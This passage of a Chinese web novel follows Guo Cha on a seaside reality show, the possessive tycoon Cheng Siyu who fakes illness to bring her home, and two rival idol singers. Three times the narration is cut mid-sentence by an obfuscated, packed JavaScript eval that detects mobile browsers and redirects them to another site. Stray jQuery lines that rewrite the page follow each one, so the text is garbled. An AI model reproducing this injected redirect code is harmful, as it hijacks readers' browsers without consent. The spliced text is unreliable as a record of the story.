刚才还对他有所改观,不到一小时就被打回原形,原来他不止性格纨绔散漫,还是一个“烂黄瓜”啊。
以前果茶没听过这个词汇,现在知道后觉得竟然还挺形象的。
烂黄瓜,脏脏的,臭臭的。
但那也只是他的私人作风问题,与她无关。果茶对这条新闻没有多大感觉,看过即抛之脑后,继续勤勤恳恳地在后厨刨土豆。
谁料,置于漩涡中心的江知渺,不管客栈内外的吃瓜群众和热切粉丝,也不顾节目组和乔如是等人的出谋划策,而是慌乱扯掉收音麦,溜到后厨,将一脸懵逼的果茶拽到没人的地方。
“茶茶,那个热搜不是真的!”
果茶歪了歪头,“图片是p的?”
“……也不是。”图片是真的,但……
“那是以前的事了,我已经很久没有和那些女的来往了!真的!而且她们也不是我女朋友……”
“哦。”果茶莫名其妙看向他,“你跟我说这些做什么?”
好奇怪,他是不是找错人了?这些话,他不应该是对粉丝或吃瓜群众说才对吗?跟她解释有什么用。
江知渺紧锁眉头,正欲接着说什么,果茶的手机响了。
她看了眼屏幕,是程司屿打来的。
想起昨晚他俩达成的共识,果茶面不改色地指了指手机,“我要去接个电话。”
也不管江知渺作何反应,她就捂着手机听筒跑远了。
18. 寄给茶茶的第18封信
“司屿哥哥怎么啦?”
果茶靠在墙角一手捂着手机,压下嗓子,“江知渺在附近,我只能偷偷摸摸地跟你视频……”
她甚至是用下巴对着镜头,饶是这般扭曲的死亡角度,仍让程司屿品出了独特的可爱感。
他心情不错地纵容笑道:“无事,今早小狗闹得厉害,应该是想你了。”
似乎是在应和他一般,镜头外传来几声清脆的狗叫。
程司屿弯腰把狗拾到桌上,一人一狗眼神灼灼地盯着镜头另一边的果茶:“什么时候能回家一趟?”
看到小狗,果茶嘬嘬两声,笑意难掩,但很快又拉下脸,“不知道呀,江知渺出事了,节目组恐怕有的忙……”
“哦?”程司屿按住蠢蠢欲动的小狗,“他出什么事了?”
果茶言简意赅将微博爆料转述给他听,见程司屿面色越来越凝重,想到他俩情同亲兄弟,果茶又觉得自己不该破坏江知渺在他心中的好弟弟形象,便弱弱替他挽尊:“不过、不过江知渺刚刚跟我解释了,他说他和那些女孩是以前的事了,也并非男女朋友关系……”
这话却让程司屿眉心紧锁,茶茶竟替江知渺说话?她不是最讨厌不学无术的花花公子吗?
难道……茶茶已经对他心生好感了?!
他眼眸一暗,“茶茶也觉得,不是男女朋友关系,就能花天酒地了吗?”
果茶斩钉截铁道:“当然不能!”
但兄弟二人的关系能否维持住,就靠她的高情商发言了,她绞尽脑汁想为江知渺美言几句,但实在想不出他有啥好的,只能摸着鼻子心虚地说:“他、他还是个孩子,这次闹这么大,他应该知道错了……”
程司屿气笑了。
他想要毁掉江知渺在茶茶心中的形象,想要茶茶看清他、疏离他、厌恶他,可茶茶却偏偏三番两次替他辩护。
前世茶茶也是这般护着他。
那是一个初夏的夜晚,江知渺趁他不在家,硬闯进半山企图带走茶茶,被巡视的保镖抓住。
程司屿那时的性格比现在更加阴鸷偏执,什么兄弟、什么世交、什么长辈出面求情,他统统不放在眼里。
他只知道,茶茶是他的,任何人都别想将茶茶从自己身边夺走。
那晚,他差点生生打断江知渺的双腿。
是茶茶哭着求他放过江知渺。
「不是江知渺的错!是我偷偷联系他,让他带我走的,你要打就打我吧,这是我们之间的事,与他无关。」
茶茶梨花带雨的模样让他心碎,他那时才意识到,茶茶真的不爱他,她或许喜欢的是……江知渺。
想到这里,程司屿的心脏仍是抽抽得疼。
他很清楚,自己永远都无法放下对茶茶的执念。若是这辈子他仍然没法让茶茶爱上自己,他会将那汹涌的爱意深藏心中,然后替她寻得一个各方面都能通过他考察的男人。
但这个人,绝对不可能是江知渺。
他曾流连花丛,即使有心改过,也绝非良配。
“茶茶。”程司屿温声说,“江知渺要订婚了,他的未婚妻你也见过,若是这样,你还觉得他只是小不懂事吗?”
果茶瞪大双眼:“是颂宜姐姐?他们要订婚了?!”
对哦,都怪江知渺风评不好、平时也太不着调,害得她差点忘了,江知渺还有一个青梅竹马的女朋友!
“他们一直都在一起,还是从小一起长大,可江知渺还到处沾花惹草,大渣男!!!”果茶义愤填膺地替漂亮姐姐鸣不平,气得脸都红了。
程司屿达到了自己的目的,自然不会说“他们是假订婚、已分手”这种话。
不仅不会说,他还要火上浇油。
“知渺做的这事实在荒唐,我自会好好教训他一番。”程司屿蹙眉望着茶茶,“茶茶,我比较担心你。”
果茶头一歪,“啊我?”
“你年纪尚小……”
听说她这般大的小姑娘,很容易被邪里邪气的坏男人三言两语地哄骗,特别是江知渺这种万众瞩目的花花公子,最会讨小女孩欢心。
若说得这么有针对性,恐怕引人生疑。程司屿委婉地劝诫:“定要远离那些视感情为儿戏的男人。”
“对啊对啊。”果茶狠狠点头,“诅咒玩弄感情的渣男永远得不到真爱!”
越说越气,颂宜姐姐那么温柔漂亮,怎么摊上这种渣男!同情能力超强的茶茶红着眼嘟囔道:“要不是江知渺是司屿哥哥的弟弟,我真想揍他,烂黄瓜!”
她自以为小声,实际上一字不落被程司屿听了进去。
烂黄瓜?倒是形象。
“若是茶茶想揍他,我愿意代劳。”
“诶?!”茶茶不敢置信地眨了眨眼,“可是他是你弟弟诶。”
也不知茶茶为何从一开始就认定他同江知渺的关系很亲近,程司屿有些无奈:“并非亲弟弟,只是因家中长辈往来而有过几次接触,若是说来,茶茶同我的关系甚至要更密切一些。”
果茶的心颤了颤,“这样啊……早知道刚才就不替他说话了……”
程司屿一愣,一个令自己血脉贲张的猜测涌上心头,“茶茶是因为我才……”
“对啊!”果茶理所当然接过话头,“要不是因为担心你会失望难过,我才不会费劲吧啦帮他说好话呢。”
原来……原来是这样。
程司屿抬手虚虚握成拳挡在唇上,试图掩盖自己上扬的嘴角。
“咳咳。”他偏过头,再次看向茶茶时,神色已自然如初,“有空的话跟我说,我接你回家。”
随后,他将镜头对准自娱自乐咬尾巴的小狗。
低沉的声音从画面外缓缓传来,“要记得家里有人在等你。”
*
通完视频,果茶返回餐厅。
江知渺已经被赶来的经纪人揪走了。客栈外聚集的粉丝们也慢慢散去,气氛缓和不少。
男明星的感情作风问题本就最容易洗白和淡忘,顶多时不时被人诟病几句,倒不会给事业带来太严重的后果。
而像江知渺这种“在废墟上建房”的桀骜不驯型男星,早已无房可塌,能产生这种争议也是见怪不怪。
所以这件事对现场录制的影响不大。
稍作休整后,录制继续。
综艺走的是零台本运作模式,按原设想,客栈老板和员工们分期各自邀请一位好友前来做客。
昨天江知渺突然留宿打断邀请计划,而方才的“事故”便导致今日缺少了飞行客人。
晚间,几人在海边围炉煮茶时,开始转转盘,抽选下期该谁邀请好友前来做客。
转盘指针转向祝余。
他捏紧手机,眼神有些闪躲,“我想邀请……我做练习生时的队友,盛逢。”
“几年过去了,你们关系还这么好呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234034|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”崔普乐呵一笑,“盛逢那小子不错,有野心也有能力,进军电影圈后演的戏还挺有看头。”
乔如是也连连称道,她与盛逢倒是没接触过,但是在微博上看过他的热搜,他和祝余都算是选秀成团出道后,转型非常成功的爱豆。
祝余牵起嘴角,应和似的点头。
坐在他身侧的果茶却察觉到他的不对劲。他的笑很勉强,不似真心。
待日常录制结束,她将祝余拉到清净的地方,“你怎么了?”
“啊?”一晚上魂不守舍的祝余如梦初醒,“什么?”
果茶忧心忡忡道:“你看起来好像不太开心。”
盛逢不是他的好朋友吗?还是他主动想要邀请的客人,为何会是这种反应?
祝余摇摇头,“没事,只是今天有些累了,我先回房了。”
房门“咔哒”一声,随之紧闭。
果茶不明所以地挠挠头,也回了房。
午夜梦醒,隔壁房间隐隐传来打电话的声音。
愠恼的声音压得极低,几乎听不见在说什么,紧接着是房门轻细地一开一合。
窸窣的脚步下了楼。
祝余果真有事。
果茶有过一丝犹豫,他不愿说定是有他的理由,自己不该贸然打扰。
现代社会,每个人都被一个刚刚好容纳自己的泡泡包裹着,里面有适宜的充足的氧气,只要不去折腾它,它就不会破。
所以大家都会心照不宣地保持着一定的距离,人与人之间的交往,也不过是泡泡外壁的碰撞。有时贴得太近了,还会猜忌对方是不是想要戳破自己的泡泡。
但果茶就是那个致力于戳破这层“社交泡泡”的无知小孩。
她蹑手蹑脚轻声下楼,试图伪装成口渴了来喝水的“失眠患者”。
可惜演技欠缺,刚“脚步虚浮”地走到吧台,坐在沙发上放空的祝余慌乱起身,“茶茶,是我吵醒你了吗?”
“没、没有。”果茶眼神微闪,径直拿起水杯晃了晃,“我口渴了,下来喝口水。”
楼上不是有饮水机吗……祝余并不拆穿她拙劣的表演,温和地说:“好。”
果茶一边咕噜咕噜大口喝水,一边拿余光偷偷观察他,貌似还挺正常,不像生气或难过的样子。
喝完水,果茶用手背擦擦嘴,装作随口一问:“你怎么这么晚了还不睡?”
“失眠。”
祝余没有看她,而是将头撇向窗外。
幽幽月光透过落地玻璃洒进厅内。
“哦……”
果茶坐到祝余身边,与坐得笔挺的祝余截然相反,她跟没骨头似的豪放地瘫倒在沙发椅背,全然没有身为女明星的自觉。
半晌,她扭头朝祝余粲然一笑,“我以前睡不着时,妈妈总会唱歌哄我。”
“要不要我唱首歌给你听?”
望着茶茶明媚不知忧愁的笑颜,祝余喉间一紧,哑着嗓子轻声应道,“好。”
果茶选了一首祝余的成名曲,这首歌原本以悲伤煽情著称。
也许是今晚的夜色太过温柔,从果茶嘴里唱出来竟平添一丝悠扬和安宁。
像不谙世事的人鱼公主,坐在海边礁石上,吟唱月光。
很久没有唱过这首歌的祝余也情不自禁跟着哼起和声。
24小时不间断拍摄的摄影机亮着红点,默默记录下两小只摇头晃脑的画面。
19. 寄给茶茶的第19封信
《猫猫会客栈》第一期播出时,碰上江知渺创造的热度再加上祝余自带的流量,热搜一夜之间铺天盖地。
连带着果茶也跻身进入大众关注的视野。
【哪里来的妹妹!!以前好像没见过啊,好漂亮好可爱!我一口亲死!!!】
【是不是夭夭!越山景区cos小狐狸的那个妹妹!啊啊啊啊好久不见孩子真出息了,都能被邀请录综艺了】
果茶在节目中的表现可圈可点,勤快、有眼力见,嘴甜还不作妖抢镜头,莫名让人心生一种清澈质朴的亲近感,意料之中地收获一大波路好。
甚至有不少人开始磕起她和祝余、江知渺的cp。
【“茶余饭后”cp嘿嘿嘿好配,小太阳妹宝×阴郁美少年,我他爹直接嗑生嗑死。而且初次见面祝余就帮妹宝拎鞋子、任劳任怨扶她回客栈,不在一起很难收场啊!】
【srds尽管江知渺只出现在下期预告,但是他一出场那句“怎么不叫我哥哥了”,真的瞬间磕到了谁懂啊……】
【楼上的什么都磕只会害了你!□□刚爆出的瓜这就忘了吗?脏黄瓜离妹宝远一点!】
不过祝余和江知渺粉丝群体中希望“哥哥独美”的占绝大多数,磕cp的路人终究抵不过粉丝控评,便转到了超话“圈地自萌”。
盛逢来时,客栈已经送走了第一波客人。
他拎着大包小包的礼物从等位的食客中挤进餐厅,惹得一群人尖叫不已。
“抱歉抱歉,因为还有客人在就餐,还望大家保持安静哦。”盛逢笑眼盈盈地点头鞠躬,温柔有礼,没有半点顶流的架子。
乔如是和崔普走在前面迎接他,果茶和祝余落后半步。
“这是送给如是姐和普哥的见面礼,”盛逢把最大两个的礼盒双手递给二人,又看了眼沉默不语的祝余,“我昨天看了第一期节目,他这人以前在训练营时就不太爱搭理人,和谁都不亲近,这次录节目变化还挺大的,肯定得多谢你们照顾!”
祝余脸色微变,没接他的话茬。
“都是自家孩子说这话,”崔普呵呵一笑,拍了拍他的肩膀,“你俩关系还是这么好,跟亲兄弟似的。”
乔如是挑了挑眉,笑而不语地将几人招呼进会客厅。
路上,果茶本在和祝余商量今天的工作分工,盛逢自来熟地挤进两人中间,“这位就是茶茶妹妹吧,很高兴终于见到真人了!”
“谢谢,我也是。”果茶弯着眉眼朝他笑了笑。
路本就狭窄,被挤出去的祝余欲言又止,最终只能一言不发跟在果茶身后。
盛逢正要接着说什么,果茶好奇地探出脖子往身侧张望几眼,才发现祝余不知何时掉到了自己身后,“咦,你怎么被挤到这里了……”
她坦然向盛逢说了声“抱歉”,默默放慢脚步,同祝余继续刚才的工作话题。
祝余原本暗淡的眼眸亮了亮,飞快瞟了一眼面色不佳的盛逢,随后低头抿唇压住窃喜的神色,应和起茶茶的提议。
*
另一边,花城文旅节宣传大会。
自文旅节启幕,越山景区一骑绝尘、创收显著,以耀眼的成绩领跑文旅宣传之路。
有人羡慕,自然也有人眼红。
当花城电视台记者林鹿问到“吸睛的策略”时,景区负责人提到“另辟蹊径、跟上时代,以年轻群体喜闻乐见的形式盘活传统文旅宣传”,还在大会上以PPT形式展示了“山海经角色扮演创想”。
其中,果茶所扮演的灵狐独占一页版面。
没曾想这个不经意的举动却引起不小争议,有参会者不置可否,有甚者更是出言刁难。
“据我所知,这位演职人员一炮而红后,就进了娱乐圈,究竟是你们景区留不住人,还是在向外界传出不好的示范:背靠文旅大IP更容易成网红、当明星?这会不会鼓励更多有心者以这种形式乘快船、捞偏门?”
“我们的确需要深挖传统文化底蕴,但以网红带火景区宣传,是在纵容快餐化社会蹭热度、追流量的不正之风,绝非长久之计……”
说着说着,竟有人开始抨击起果茶:“扮狐狸精的媚态与游客亲密互动,无异于软色情!”
众人闻言色变,会堂死寂一片。
“刺啦——”
话筒受电磁干扰,划出一声尖锐而刺耳的噪音。
下一秒,一道冷厉的声音传来,“扣这么大的帽子……”
与会人员闻声望过去,只见那位坐在领导身侧的年轻男人冷笑一声,“不巧,本人正有此项目的投资意愿,可否理解为本人是在纵容、甚至助推软色情发展?”
领导脸色瞬间沉了下来。
男人却并未因此结束话题,反而云淡风轻说:“此事我也略有耳闻,小姑娘的言行举止并无任何不妥,何必如此苛责?”
“若只是不满景区上层决策,内部解决就好,不要牵扯到无辜人。”
字里行间都在往景区同行对家之间的矛盾上引导,刚才发言的几个人见状也不敢再跳脚乱吠,唯唯诺诺垂下头开始装死。
最后还是几位领导出言揭过这个话题。
林鹿沉眸看向置于众心捧月位置的男人,只觉格外眼熟,半晌,她才将这张脸同记忆中的信息库对上。
程司屿,个人身价超百亿的最年轻杰出企业家、极少在媒体前露面的商界大鳄。
之所以还能记得他的长相,是因为此前有娱记放出他和一位女性的合照、疑似都市桃色新闻。结果那名娱记被告得差点蹲局子,所在的娱乐公司没过多久也随之倒台,就连绯闻当事女方听说也备受波及。
想到这里,林鹿不禁打了个寒颤,真是见鬼了,他像是会好心替陌生女孩争辩的大善人吗?
不过她内心无比感谢程司屿方才为茶茶仗义执言,莫说当下她只是在舆论漩涡中自身难保的“无良记者”,就单以她的等级地位,即使她知道茶茶是多么善良纯真的女孩,也很难在这种场合为她鸣不平。
像程司屿这样的大人物也许只是一时兴起,随口一句话的事儿,却能挽救一个无辜女孩的声誉。
看来,他也并不像传闻那样不近人情嘛。
会后采访环节。
往常这个时候,程司屿都是最先离席的那波人之一,没想到这次竟然能够坐下来接受媒体采访。
林鹿抢到了前排,成为今天第一个采访他的记者。问了这次的投资意向及对文旅行业的前景评估两个问题后,就该轮到别家媒体发问了。
结果程司屿一句“时间有限,今天就到这里,改日再聊”,随后起身离开。
林鹿还以为自己撞到什么狗屎运,正为拿到独家而兴奋时,一进会堂后台,就看到程司屿似乎正在打视频电话。
他招了招手。
林鹿疑惑靠近,只见程司屿将手机屏幕朝向自己。
视频中果茶笑得见牙不见眼,雀跃喊道:“鹿姐姐!”
林鹿一脸懵逼地眨了眨眼,看了看果茶,又抬头看了看程司屿。
???
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253331|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我靠!这俩人怎么认识的?!
挂断视频后,林鹿仍是一副神不附体的状态。
前几日茶茶主动联系了她,她倒是知道茶茶来花城后的经历,也知道她签了娱乐公司、正在录综艺。
但林鹿还是想不明白,茶茶和程司屿这俩看起来完全不像是一个次元的人,究竟怎么碰到一起的?而且看样子两人关系……似乎还挺亲密。
看到林鹿这心神不宁的模样,程司屿轻笑一声,“林记者,你这心理承受能力……”最后是怎么当上扬名海内外的“花国第一记者”的?
“你们怎么认识的?”林鹿拧着眉打断他的话。
刚才还觉得他是个好人,现在她便开始怀疑这个男人是衣冠禽兽。
不怪她多虑,茶茶自幼天真浪漫、对人不设防,也没有什么三教九流、地位阶层的概念,林鹿自然不会觉得是茶茶看上了程司屿的钱权势力,而主动接近的他。
她只会笃定是程司屿看中茶茶年轻貌美而意图不轨!
“这是我的私事,无可奉告。”
程司屿的话虽不留情面,但他对林鹿还是心存感谢,若不是前世她点醒自己,恐怕即使重生,他也很难意识到自己的错误。
想起茶茶,他泛起一丝笑意,温声说:“不过,你可以去问茶茶,届时还望你能告知我,她是如何形容我的。”
哎哟喂!林鹿听得一阵牙酸,他这话说的简直就差把“我对她心生爱慕”几个大字刻在脸上了。
“不会是茶茶刚来花城时就遇到你了吧,你们这些天一直在一起?”
程司屿勾了勾唇,一副不置可否的神情。
林鹿崩溃地拍了拍额头,喃喃道:“茶茶怎么没告诉我……”
“可能,她在花城有了更大的人脉?”程司屿淡然瞥了林鹿一眼,眼眸中分明闪烁着胜券在握的得意之色。
林鹿瞬间领会到这句话的意思。她想起自己曾信誓旦旦跟茶茶吹牛:“茶茶,考来花城吧,等你来了花城,那我一定要做你在这个城市最大的人脉!”
“你你你……”
林鹿“你”了半天,指指点点欲言又止,最后只能咬牙切齿地威胁道:“茶茶是个非常好的女孩,你最好守礼节一点,若是被我发现你对她做了什么不该做的事……”
她恶狠狠地瞪眼:“我就算丢了工作也要全平台曝光你!”
程司屿低头笑了一声,这倒像她做得出来的事,他点点头,由衷应和道:“那你怕是没有这个机会了。”
临走时,与林鹿擦肩而过,程司屿偏头说:“方才只是我的一番戏言,还望林记者不要当真,茶茶一直向我念叨起你。”
“她在花城的好友不多,你定是最重要的一位。如果可以,还请你往后也能多多关照茶茶。”
程司屿走后,林鹿久久不能回神。
她是个聪明人,能明白程司屿最后那句“示好”,不过是因为自己与茶茶私交甚笃,他有意在替茶茶维护这段关系。
程司屿是何等人?“花城最大人脉”绝对当仁不让,若是他想,何必嘱托他人“多多关照茶茶”?
他能这样说,无非是在“友好下通牒”:只要对茶茶好,他程司屿也会加倍奉还。
还真是“爱之,则为之计深远”。
不过……
林鹿反应过来,望着程司屿远去的背影无能狂怒:有没有搞错!我是茶茶相识多年的姐姐!你才是那个外人!
你一副以家属的姿态拿腔拿调是怎么回事啊喂!
20. 寄给茶茶的第20封信
太阳落山后,盛夏的燥热被海风吹散许多。
漫天被粉紫相间的透光高积云所笼罩,落日余晖极其壮观。
猫猫会客栈特设在海边的懒人沙发准备就绪,节目组还临时搭了一个小型live舞台。
毕竟祝余和盛逢两大选秀出道的流量明星在此,不用白不用。
盛逢唱跳俱佳、性格开朗,都不用节目组cue流程,上去跳了选秀时一战成名的一支舞。
跳完后,他用手抚着胸口喘气,做了个经典endingpose,色气十足,围观群众亢奋的尖叫声掀起一阵热浪。
正在嗑瓜子的果茶呆滞数秒,捂着嘴小声问祝余:“你们唱跳这么累吗?他好喘哦……”
什么虎狼之词!
祝余忍不住笑出声,又觉得在镜头面前这样不太好,难免会被有心人大做文章,便用拳挡住嘴巴,“这是他的造型,谨言慎行。”
果茶老实点头,捏着两指在嘴前做了个拉拉链的动作。
盛逢一下台就看见两人旁若无人正聊得起劲,从录制起心中那股烦闷更甚。
他无论走到哪儿,一直都是最受欢迎的那个,祝余不过是用来衬托自己的垫脚石。
可果茶这没有眼光的新人偏偏不买他的账,一天录制下来三番两次无视他,却和祝余这种阴郁怪走得如此近。
盛逢维持着面上的笑意,又开始暗戳戳给祝余使绊子,“阿余,还记得我们那会儿的成团舞吗?要不要上去跳跳?”
祝余沉默。
正合盛逢的意,他明褒暗贬:“也是,那会儿你就学舞学得很慢,四肢不协调的哟~我光陪你扒舞都扒了好几天,这么多年了你估计也忘了吧……”
祝余脸色变沉。是的呢,临时把他负责的part换掉、变更练舞场地、搞队内霸凌,这么多年他能忘掉都算心大。
果茶没听出哪里不对劲,还傻呵呵地问祝余:“原来你不会跳舞啊?”
祝余本不打算回应盛逢,结果被果茶这一句话打得措手不及,他慌忙解释:“以前、没、没学过,第一次跳就……”
“你之前不会都还能跳得那么好,也太厉害了吧!”果茶眨着星星眼,双手捧起脸颊,一副小迷妹的神情。
看着茶茶那双炽热而真诚的眸子,心中某个阴暗的角落突然被一束光探入。
祝余的脸一瞬间变得通红,眼神也闪躲起来。
盛逢“咦”了一声,满脸关切地问:“可是……最近似乎没见你发单曲,那我替粉丝们催催,什么时候出新歌?”
此话一出,在场几人都有些尴尬。
谁人不知,近一年来,祝余身上最大的争议就是“江郎才尽”。
选秀出道后转型做音乐制作人,他接连出了好几首大爆曲,风头无两,曾被业内人士预测将会是那个男团未来发展势头最好的一位。
可近几年,他的歌好听是好听,却似乎缺少了从前那种直击人心的灵气。
“好饭不怕晚,慢工才能出细活……”
“诶我很好奇,”盛逢打断果茶的话,一如往常般大方坦诚,“你好像很喜欢阿余,再这样我都想磕你俩了!”
一直默默看戏的乔如是兀地探出手,将一碟果盘递到茶茶面前,随后云淡风轻地笑着对盛逢说:“小盛倒说了实话,不只茶茶,我们都很喜欢祝余呢。只是茶茶性子外向赤诚,比我们更会表达爱意。”
这句话瞬间将盛逢话里话外的内涵击散,意指便从男女之间的情爱转向“相亲相爱一家人”的情谊。
果茶哪里懂得娱乐圈这些弯弯绕绕的人情世故和潜台词,浑然不知自己差点被卷入一场“绯闻风波”中,还狠狠点头:“对没错!我是喜欢祝余呀……”
被提到的祝余,一颗心跳到了嗓子眼。
“我还喜欢乔乔姐、崔大哥、果果妈妈、鹿姐姐、枝枝姐……”果茶恨不得掰起手指头一一数到。
“够了够了知道了茶茶,”乔如是被她逗得笑不拢嘴,忙伸手按住她。
又对上茶茶那双不解的眼眸,似乎在控诉她“自己还有好多喜欢的人没说呢”,乔如是“噗呲”一笑,屈指刮了刮她的鼻尖,“你呀……”
真不知这样没心眼的小姑娘,怎么在娱乐圈里混下去。以后她和老崔还是多照顾着些吧,省得被人坑到沟里了还呲着牙傻乐呢。
live舞台最后一首歌由果茶献唱,她唱的是祝余的成名曲。
昨夜刚唱给本尊听,在他的点拨下,这首歌也成了她的拿手曲目。
果茶娓娓道来的舒缓唱腔,反而赋予了这首歌另一番全新的意蕴,像是前尘影事的闪回,也像是遵养时晦的疗愈。
是浮光,是雾霭,是泛着泥土味的水蒸气,是海风沥干后滴落沙砾中的露珠。
没曾想,竟然唱哭了现场一大批观众,其中有一些是追逐祝余多年的忠实粉丝,也有很多只是来烟汀海游玩的路人旅客。
而此时,被层层摄影师包围的导演位。
导演盯着取景框赞不绝口,“真没想到茶茶唱歌也这么好听,捡到宝了!”
他笑意难掩,扭头询问身侧的男人:“程总您觉着呢?”
只见身着休闲装、戴着黑色口罩的程司屿,靠坐在导演椅上。
他的视线并未像其他人一样留在取景框,仿佛是越过影影绰绰的人潮,凝视着某个人。
导演一时摸不清他是什么态度。
一个小时前,他突然接到电话说综艺最大的投资方老总要莅临现场观摩,但对方表示要一切低调随意。
他以前倒是听过程司屿的名头,但毕竟不是一个行业圈子,只是略有耳闻而并不了解。
今日一见才发现他本人这么年轻,虽戴着口罩,但剑眉星目,气质不输任何男明星。不符合年龄的矜贵气场,又给他平添上位者的压迫感。
所以,导演心里也拿不准,万一综艺的拍摄形式或者邀请的嘉宾,程总并不喜欢,怎么办?毕竟中途撤资或减少预算这种情况,在他们行业也并不少见。
“谢谢大家愿意停下脚步听我唱歌,我是果茶,喝的那种酸酸甜甜的果茶……”
台上的茶茶高高举起话筒晃了晃手臂,笑得格外灿烂,随后,她深深鞠了个躬。
台下掌声雷动,或许很多人还不认识也并不了解这个女孩,但此刻都被她的热烈和真诚所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14263023|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打动。
她是海边耀眼的明珠。
以前只能被私藏的月光,如今倾洒在大地上。
“嗯。”
程司屿的回应骤然响起。
导演闻声看过去,男人的目光深邃,一错不错注视着茶茶蹦蹦跳跳地下台、被观众抢着合照、落座后又被乔如是几人轮番捏脸拥抱……
“确实捡到宝了”,他说。
-
舞台氛围如同潮水,在果茶下台后趋于平缓。
就在大家都以为今晚的狂欢将在此刻落幕,突然一阵浪打过来,祝余抱着吉他一跃跳上舞台,掀起新一轮的高潮。
他在万众期待下,不疾不徐调整好立麦的高度,沉眸看向台下的茶茶,很快又移开目光,“接下来,我想唱的是一首还未发行的新歌。”甚至是昨晚连夜写出来的。
海风溽热且潮湿,停留在皮肤上,仿佛会瞬间蒸发,留下黏腻的盐粒。
祝余的新歌一改以往的“苦情”“酸涩”和“致郁”,像留在人身体里的一粒盐,在无声无息中滋养着氧气。
……
“无由持一碗,寄与爱茶人。”
祝余唱完最后一句歌词,精准地在人潮中找到给予自己无限灵感的那双眼睛。
谢谢茶茶。
他在心底郑重地说完这四个字,然后才说:“感谢猫猫会客栈,感谢如是姐、普哥还有……茶茶,没有你们就没有这首歌。”
因为茶茶,那天的月亮,终于不再是夜晚的伤口。
导演抹了一把泪,太他妈好听了,曾经的音乐才子终于又找回了状态!
“程总,这歌是不是也非常好听!是不是又捡到宝了!”
他激奋扭头,身侧的座椅上早已空无一人。
*
“程总!您就这么走了?!那小子一看就没安好心呐!”
张文勋三步并作两步,跟上程司屿的步伐,面上的焦灼都快溢了出来。
程总连着好几日不分昼夜地处理公务,今天下午连轴开完宣传大会,又马不停蹄赶来烟汀海,张文勋作为他的特助,不是不清楚这种工作强度。
但想到程总每次只要和茶茶待在一起,甚至只要听听她的声音,就能满血复活,张文勋便也没有劝阻他“应当好好休息”。
结果没想到,一来这儿,看到的却是茶茶与别的小白脸“暧昧不明”,她满心满眼夸那人“好厉害”、说“喜欢”他。
更令人心寒的是,茶茶列举了那么多自己喜欢的人,都没有提到程总的名字!简直就是个没心没肺的小白眼狼!渣女!海后!
想到这里,张文勋更替程司屿委屈了,“程总你说,想怎么教训那小子?要不要还像上次那样让保镖揍人一顿……”
“谁说我要教训他?”程司屿直视前方,面上看不出一丝多余的情绪。
“那您跑那么大老远,就只是为了看她和旁的男人亲近……”
程司屿偏头,张文勋下意识噤了声。
半晌,他低沉的嗓音中难掩疲惫,“我近日身体抱恙,病倒家中……”
他微微抬眸,看向张文勋,“张特助知道该怎么跟茶茶说吧?”
21. 寄给茶茶的第21封信
海边live散场,一行人散步回客栈。
踏上客栈侧门的台阶时,果茶扶着围栏抖了抖鞋里的沙子。
乔如是和崔普就跟看自家小孩似的,忙上前一左一右扶住她,生怕她摔倒。
祝余正懊恼自己晚了一步。
这时,果茶的手机铃声响了。
还没说几句话,她便火急火燎地套上鞋子,“不好意思大家,今晚我得回家一趟,我哥哥生病了……”
说着说着,她湿漉漉的眼睛几乎要哭出来。
吓得乔如是还以为出了什么大事,抱着茶茶安慰几句后,便让她赶紧回家。
“要不要我送你?”祝余紧皱眉头,上前问道。
“对对,让小余送送你,”崔普也跟着点头。
果茶这时已经冷静下来,“有人来接我,回头电话联系……”
她边说边往道路上跑,两分钟不到,就没影了。
其余几人忧心忡忡进了客栈。
没过几分钟,盛逢又神色自若地走了出来,坐在露天吧台,不知在眺望何处。
直到看到一抹娇小的身影钻进一辆豪车里,他才将杯中的鸡尾酒一饮而尽,施施然起身,进了屋。
*
半山。
果茶进屋后,拖鞋都没来得及穿,光着脚就噔噔跑上楼。
偌大的房间,只留了一盏微弱的台灯。
她轻手轻脚靠近床边,蹲下身,程司屿就静静躺在自己手边。
灯光映在他的脸上,竟有种说不出的脆弱和孤寂。
犹豫几秒,果茶最终还是用手心贴上程司屿的额头。
还好,不烫。
天知道她在接到助理那通电话时有多慌张,她当时满脑子都被他开口那句“程总生病昏迷,意识不清”震到发懵,什么也不敢问,什么也听不进去。
在她印象里,程司屿是强大和从容的代名词,永远的运筹帷幄、云淡风轻。却忘了原来他也会生病,也会像现在这样虚弱地躺在床上。
果茶正心疼不已,门外传来窸窣的声音。
一扭头,与一只边牧幼崽对上了眼。
小狗瞬间疯狂摇起尾巴,哒哒哒飞奔进屋,围着果茶嗅来嗅去,最后清脆叫了一声。
